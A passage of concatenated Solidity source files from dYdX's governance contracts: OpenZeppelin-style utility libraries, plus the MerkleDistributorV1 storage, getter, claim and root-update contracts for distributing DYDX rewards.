function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), 'AccessControl: can only renounce roles for self');
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = '0123456789abcdef';
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return '0';
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return '0x00';
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = '0';
buffer[1] = 'x';
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, 'Strings: hex length insufficient');
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './IERC165.sol';
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import {
AccessControlUpgradeable
} from '../../../dependencies/open-zeppelin/AccessControlUpgradeable.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { ReentrancyGuard } from '../../../utils/ReentrancyGuard.sol';
import { VersionedInitializable } from '../../../utils/VersionedInitializable.sol';
import { MD1Types } from '../lib/MD1Types.sol';
/**
* @title MD1Storage
* @author dYdX
*
* @dev Storage contract. Contains or inherits from all contract with storage.
*/
abstract contract MD1Storage is
AccessControlUpgradeable,
ReentrancyGuard,
VersionedInitializable
{
// ============ Configuration ============
/// @dev The oracle which provides Merkle root updates.
IRewardsOracle internal _REWARDS_ORACLE_;
/// @dev The IPNS name to which trader and market maker exchange statistics are published.
string internal _IPNS_NAME_;
/// @dev Period of time after the epoch end after which the new epoch exchange statistics should
/// be available on IPFS via the IPNS name. This can be used as a trigger for “keepers” who are
/// incentivized to call the proposeRoot() and updateRoot() functions as needed.
uint256 internal _IPFS_UPDATE_PERIOD_;
/// @dev Max rewards distributed per epoch as market maker incentives.
uint256 internal _MARKET_MAKER_REWARDS_AMOUNT_;
/// @dev Max rewards distributed per epoch as trader incentives.
uint256 internal _TRADER_REWARDS_AMOUNT_;
/// @dev Parameter affecting the calculation of trader rewards. This is a value
/// between 0 and 1, represented here in units out of 10^18.
uint256 internal _TRADER_SCORE_ALPHA_;
// ============ Epoch Schedule ============
/// @dev The parameters specifying the function from timestamp to epoch number.
MD1Types.EpochParameters internal _EPOCH_PARAMETERS_;
// ============ Root Updates ============
/// @dev The active Merkle root and associated parameters.
MD1Types.MerkleRoot internal _ACTIVE_ROOT_;
/// @dev The proposed Merkle root and associated parameters.
MD1Types.MerkleRoot internal _PROPOSED_ROOT_;
/// @dev The time at which the proposed root may become active.
uint256 internal _WAITING_PERIOD_END_;
/// @dev Whether root updates are currently paused.
bool internal _ARE_ROOT_UPDATES_PAUSED_;
// ============ Claims ============
/// @dev Mapping of (user address) => (number of tokens claimed).
mapping(address => uint256) internal _CLAIMED_;
/// @dev Whether the user has opted into allowing anyone to trigger a claim on their behalf.
mapping(address => bool) internal _ALWAYS_ALLOW_CLAIMS_FOR_;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
interface IRewardsOracle {
/**
* @notice Returns the oracle value, agreed upon by all oracle signers. If the signers have not
* agreed upon a value, should return zero for all return values.
*
* @return merkleRoot The Merkle root for the next Merkle distributor update.
* @return epoch The epoch number corresponding to the new Merkle root.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function read()
external
virtual
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @title ReentrancyGuard
* @author dYdX
*
* @dev Updated ReentrancyGuard library designed to be used with Proxy Contracts.
*/
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = uint256(int256(-1));
uint256 private _STATUS_;
constructor()
internal
{
_STATUS_ = NOT_ENTERED;
}
modifier nonReentrant() {
require(_STATUS_ != ENTERED, 'ReentrancyGuard: reentrant call');
_STATUS_ = ENTERED;
_;
_STATUS_ = NOT_ENTERED;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
/**
* @title VersionedInitializable
* @author Aave, inspired by the OpenZeppelin Initializable contract
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 internal lastInitializedRevision = 0;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(revision > lastInitializedRevision, "Contract instance has already been initialized");
lastInitializedRevision = revision;
_;
}
/// @dev returns the revision number of the contract.
/// Needs to be defined in the inherited class as a constant.
function getRevision() internal pure virtual returns(uint256);
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
library MD1Types {
/**
* @dev The parameters used to convert a timestamp to an epoch number.
*/
struct EpochParameters {
uint128 interval;
uint128 offset;
}
/**
* @dev The parameters related to a certain version of the Merkle root.
*/
struct MerkleRoot {
bytes32 merkleRoot;
uint256 epoch;
bytes ipfsCid;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { MD1Storage } from './MD1Storage.sol';
/**
* @title MD1Getters
* @author dYdX
*
* @notice Simple getter functions.
*/
abstract contract MD1Getters is
MD1Storage
{
/**
* @notice Get the address of the oracle which provides Merkle root updates.
*
* @return The address of the oracle.
*/
function getRewardsOracle()
external
view
returns (IRewardsOracle)
{
return _REWARDS_ORACLE_;
}
/**
* @notice Get the IPNS name to which trader and market maker exchange statistics are published.
*
* @return The IPNS name.
*/
function getIpnsName()
external
view
returns (string memory)
{
return _IPNS_NAME_;
}
/**
* @notice Get the period of time after the epoch end after which the new epoch exchange
* statistics should be available on IPFS via the IPNS name.
*
* @return The IPFS update period, in seconds.
*/
function getIpfsUpdatePeriod()
external
view
returns (uint256)
{
return _IPFS_UPDATE_PERIOD_;
}
/**
* @notice Get the rewards formula parameters.
*
* @return Max rewards distributed per epoch as market maker incentives.
* @return Max rewards distributed per epoch as trader incentives.
* @return The alpha parameter between 0 and 1, in units out of 10^18.
*/
function getRewardsParameters()
external
view
returns (uint256, uint256, uint256)
{
return (
_MARKET_MAKER_REWARDS_AMOUNT_,
_TRADER_REWARDS_AMOUNT_,
_TRADER_SCORE_ALPHA_
);
}
/**
* @notice Get the parameters specifying the function from timestamp to epoch number.
*
* @return The parameters struct with `interval` and `offset` fields.
*/
function getEpochParameters()
external
view
returns (MD1Types.EpochParameters memory)
{
return _EPOCH_PARAMETERS_;
}
/**
* @notice Get the active Merkle root and associated parameters.
*
* @return merkleRoot The active Merkle root.
* @return epoch The epoch number corresponding to this Merkle tree.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function getActiveRoot()
external
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid)
{
merkleRoot = _ACTIVE_ROOT_.merkleRoot;
epoch = _ACTIVE_ROOT_.epoch;
ipfsCid = _ACTIVE_ROOT_.ipfsCid;
}
/**
* @notice Get the proposed Merkle root and associated parameters.
*
* @return merkleRoot The active Merkle root.
* @return epoch The epoch number corresponding to this Merkle tree.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function getProposedRoot()
external
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid)
{
merkleRoot = _PROPOSED_ROOT_.merkleRoot;
epoch = _PROPOSED_ROOT_.epoch;
ipfsCid = _PROPOSED_ROOT_.ipfsCid;
}
/**
* @notice Get the time at which the proposed root may become active.
*
* @return The time at which the proposed root may become active, in epoch seconds.
*/
function getWaitingPeriodEnd()
external
view
returns (uint256)
{
return _WAITING_PERIOD_END_;
}
/**
* @notice Check whether root updates are currently paused.
*
* @return Boolean `true` if root updates are currently paused, otherwise, `false`.
*/
function getAreRootUpdatesPaused()
external
view
returns (bool)
{
return _ARE_ROOT_UPDATES_PAUSED_;
}
/**
* @notice Get the tokens claimed so far by a given user.
*
* @param user The address of the user.
*
* @return The tokens claimed so far by that user.
*/
function getClaimed(address user)
external
view
returns (uint256)
{
return _CLAIMED_[user];
}
/**
* @notice Check whether the user opted into allowing anyone to trigger a claim on their behalf.
*
* @param user The address of the user.
*
* @return Boolean `true` if any address may trigger claims for the user, otherwise `false`.
*/
function getAlwaysAllowClaimsFor(address user)
external
view
returns (bool)
{
return _ALWAYS_ALLOW_CLAIMS_FOR_[user];
}
}
// Contracts by dYdX Foundation. Individual files are released under different licenses.
//
// https://dydx.community
// https://github.com/dydxfoundation/governance-contracts
//
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import { Ownable } from '../../dependencies/open-zeppelin/Ownable.sol';
import { MerkleProof } from '../../dependencies/open-zeppelin/MerkleProof.sol';
import { IERC20 } from '../../interfaces/IERC20.sol';
import { IRewardsOracle } from '../../interfaces/IRewardsOracle.sol';
import { MD1Claims } from './impl/MD1Claims.sol';
import { MD1RootUpdates } from './impl/MD1RootUpdates.sol';
import { MD1Configuration } from './impl/MD1Configuration.sol';
import { MD1Getters } from './impl/MD1Getters.sol';
/**
* @title MerkleDistributorV1
* @author dYdX
*
* @notice Distributes DYDX token rewards according to a Merkle tree of balances. The tree can be
* updated periodially with each user's cumulative rewards balance, allowing new rewards to be
* distributed to users over time.
*
* An update is performed by setting the proposed Merkle root to the latest value returned by
* the oracle contract. The proposed Merkle root can be made active after a waiting period has
* elapsed. During the waiting period, dYdX governance has the opportunity to freeze the Merkle
* root, in case the proposed root is incorrect or malicious.
*/
contract MerkleDistributorV1 is
MD1RootUpdates,
MD1Claims,
MD1Configuration,
MD1Getters
{
// ============ Constructor ============
constructor(
address rewardsToken,
address rewardsTreasury
)
MD1Claims(rewardsToken, rewardsTreasury)
{}
// ============ External Functions ============
function initialize(
address rewardsOracle,
string calldata ipnsName,
uint256 ipfsUpdatePeriod,
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha,
uint256 epochInterval,
uint256 epochOffset
)
external
initializer
{
__MD1Roles_init();
__MD1Configuration_init(
rewardsOracle,
ipnsName,
ipfsUpdatePeriod,
marketMakerRewardsAmount,
traderRewardsAmount,
traderScoreAlpha
);
__MD1EpochSchedule_init(epochInterval, epochOffset);
}
// ============ Internal Functions ============
/**
* @dev Returns the revision of the implementation contract. Used by VersionedInitializable.
*
* @return The revision number.
*/
function getRevision()
internal
pure
override
returns (uint256)
{
return 1;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { MerkleProof } from '../../../dependencies/open-zeppelin/MerkleProof.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { MD1Roles } from './MD1Roles.sol';
/**
* @title MD1Claims
* @author dYdX
*
* @notice Allows rewards to be claimed by providing a Merkle proof of the rewards amount.
*/
abstract contract MD1Claims is
MD1Roles
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Constants ============
/// @notice The token distributed as rewards.
IERC20 public immutable REWARDS_TOKEN;
/// @notice Address to pull rewards from. Must have provided an allowance to this contract.
address public immutable REWARDS_TREASURY;
// ============ Events ============
/// @notice Emitted when a user claims rewards.
event RewardsClaimed(
address account,
uint256 amount
);
/// @notice Emitted when a user opts into or out of the claim-for allowlist.
event AlwaysAllowClaimForUpdated(
address user,
bool allow
);
// ============ Constructor ============
constructor(
address rewardsToken,
address rewardsTreasury
) {
REWARDS_TOKEN = IERC20(rewardsToken);
REWARDS_TREASURY = rewardsTreasury;
}
// ============ External Functions ============
/**
* @notice Claim the remaining unclaimed rewards for the sender.
*
* Reverts if the provided Merkle proof is invalid.
*
* @param cumulativeAmount The total all-time rewards this user has earned.
* @param merkleProof The Merkle proof for the user and cumulative amount.
*
* @return The number of rewards tokens claimed.
*/
function claimRewards(
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
nonReentrant
returns (uint256)
{
return _claimRewards(msg.sender, cumulativeAmount, merkleProof);
}
/**
* @notice Claim the remaining unclaimed rewards for a user, and send them to that user.
*
* The caller must be authorized with CLAIM_OPERATOR_ROLE unless the specified user has opted
* into the claim-for allowlist. In any case, rewards are transfered to the original user
* specified in the Merkle tree.
*
* Reverts if the provided Merkle proof is invalid.
*
* @param user Address of the user on whose behalf to trigger a claim.
* @param cumulativeAmount The total all-time rewards this user has earned.
* @param merkleProof The Merkle proof for the user and cumulative amount.
*
* @return The number of rewards tokens claimed.
*/
function claimRewardsFor(
address user,
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
nonReentrant
returns (uint256)
{
require(
(
hasRole(CLAIM_OPERATOR_ROLE, msg.sender) ||
_ALWAYS_ALLOW_CLAIMS_FOR_[user]
),
'MD1Claims: Do not have permission to claim for this user'
);
return _claimRewards(user, cumulativeAmount, merkleProof);
}
/**
* @notice Opt into allowing anyone to claim on the sender's behalf.
*
* Note that this does not affect who receives the funds. The user specified in the Merkle tree
* receives those rewards regardless of who issues the claim.
*
* Note that addresses with the CLAIM_OPERATOR_ROLE ignore this allowlist when triggering claims.
*
* @param allow Whether or not to allow claims on the sender's behalf.
*/
function setAlwaysAllowClaimsFor(
bool allow
)
external
nonReentrant
{
_ALWAYS_ALLOW_CLAIMS_FOR_[msg.sender] = allow;
emit AlwaysAllowClaimForUpdated(msg.sender, allow);
}
// ============ Internal Functions ============
/**
* @notice Claim the remaining unclaimed rewards for a user, and send them to that user.
*
* Reverts if the provided Merkle proof is invalid.
*
* @param user Address of the user.
* @param cumulativeAmount The total all-time rewards this user has earned.
* @param merkleProof The Merkle proof for the user and cumulative amount.
*
* @return The number of rewards tokens claimed.
*/
function _claimRewards(
address user,
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
internal
returns (uint256)
{
// Get the active Merkle root.
bytes32 merkleRoot = _ACTIVE_ROOT_.merkleRoot;
// Verify the Merkle proof.
bytes32 node = keccak256(abi.encodePacked(user, cumulativeAmount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MD1Claims: Invalid Merkle proof');
// Get the claimable amount.
//
// Note: If this reverts, then there was an error in the Merkle tree, since the cumulative
// amount for a given user should never decrease over time.
uint256 claimable = cumulativeAmount.sub(_CLAIMED_[user]);
if (claimable == 0) {
return 0;
}
// Mark the user as having claimed the full amount.
_CLAIMED_[user] = cumulativeAmount;
// Send the user the claimable amount.
REWARDS_TOKEN.safeTransferFrom(REWARDS_TREASURY, user, claimable);
emit RewardsClaimed(user, claimable);
return claimable;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { MerkleProof } from '../../../dependencies/open-zeppelin/MerkleProof.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { MD1Pausable } from './MD1Pausable.sol';
/**
* @title MD1RootUpdates
* @author dYdX
*
* @notice Handles updates to the Merkle root.
*/
abstract contract MD1RootUpdates is
MD1Pausable
{
using SafeMath for uint256;
// ============ Constants ============
/// @notice The waiting period before a proposed Merkle root can become active, in seconds.
uint256 public constant WAITING_PERIOD = 7 days;
// ============ Events ============
/// @notice Emitted when a new Merkle root is proposed and the waiting period begins.
event RootProposed(
bytes32 merkleRoot,
uint256 epoch,
bytes ipfsCid,
uint256 waitingPeriodEnd
);
/// @notice Emitted when a new Merkle root becomes active.
event RootUpdated(
bytes32 merkleRoot,
uint256 epoch,
bytes ipfsCid
);
// ============ External Functions ============
/**
* @notice Set the proposed root parameters to the values returned by the oracle, and start the
* waiting period. Anyone may call this function.
*
* Reverts if the oracle root is bytes32(0).
* Reverts if the oracle root parameters are equal to the proposed root parameters.
* Reverts if the oracle root epoch is not equal to the next root epoch.
*/
function proposeRoot()
external
nonReentrant
{
// Read the latest values from the oracle.
(
bytes32 merkleRoot,
uint256 epoch,
bytes memory ipfsCid
) = _REWARDS_ORACLE_.read();
require(merkleRoot != bytes32(0), 'MD1RootUpdates: Oracle root is zero (unset)');
require(
(
merkleRoot != _PROPOSED_ROOT_.merkleRoot ||
epoch != _PROPOSED_ROOT_.epoch ||
keccak256(ipfsCid) != keccak256(_PROPOSED_ROOT_.ipfsCid)
),
'MD1RootUpdates: Oracle root was already proposed'
);
require(epoch == getNextRootEpoch(), 'MD1RootUpdates: Oracle epoch is not next root epoch');
// Set the proposed root and the waiting period for the proposed root to become active.
_PROPOSED_ROOT_ = MD1Types.MerkleRoot({
merkleRoot: merkleRoot,
epoch: epoch,
ipfsCid: ipfsCid
});
uint256 waitingPeriodEnd = block.timestamp.add(WAITING_PERIOD);
_WAITING_PERIOD_END_ = waitingPeriodEnd;
emit RootProposed(merkleRoot, epoch, ipfsCid, waitingPeriodEnd);
}
/**
* @notice Set the active root parameters to the proposed root parameters.
*
* Reverts if root updates are paused.
* Reverts if the proposed root is bytes32(0).
* Reverts if the proposed root epoch is not equal to the next root epoch.
* Reverts if the waiting period for the proposed root has not elapsed.
*/
function updateRoot()
external
nonReentrant
whenNotPaused
{
// Get the proposed root parameters.
